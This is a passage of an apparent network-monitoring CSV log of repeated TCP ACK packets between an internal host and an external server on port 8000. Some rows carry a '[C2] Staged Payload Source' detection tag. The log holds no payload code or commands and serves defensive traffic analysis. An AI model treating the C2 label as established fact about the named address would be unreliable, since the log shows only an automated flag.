Ack=958171291,bc24112907bbbc2411360d0c080045000029b1ed400080063e110a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45549, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15889, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:56.859786,1201,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b024400040067fcfc0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.$@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45092, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32719, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:14:57.875361,1202,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1ee400080063e100a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45550, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15888, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:57.875395,1203,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b025400040067fcec0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.%@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45093, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32718, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:14:58.890929,1204,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1ef400080063e0f0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45551, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15887, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:58.890944,1205,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b026400040067fcdc0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.&@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45094, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32717, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:14:59.906624,1206,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f0400080063e0e0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45552, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15886, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:59.906637,1207,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b027400040067fccc0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.'@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45095, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32716, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:00.922275,1208,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f1400080063e0d0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45553, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15885, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:00.922295,1209,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b028400040067fcbc0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.(@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45096, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32715, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:01.922336,1210,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f2400080063e0c0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45554, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15884, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:01.922352,1211,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b029400040067fcac0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.)@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45097, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32714, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:02.922354,1212,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f3400080063e0b0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45555, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15883, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:02.922370,1213,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b02a400040067fc9c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.*@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45098, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32713, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:03.938076,1214,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f4400080063e0a0a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45556, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15882, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:03.938093,1215,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b02b400040067fc8c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.+@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45099, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32712, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:04.953627,1216,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f5400080063e090a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45557, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15881, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:04.953648,1217,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 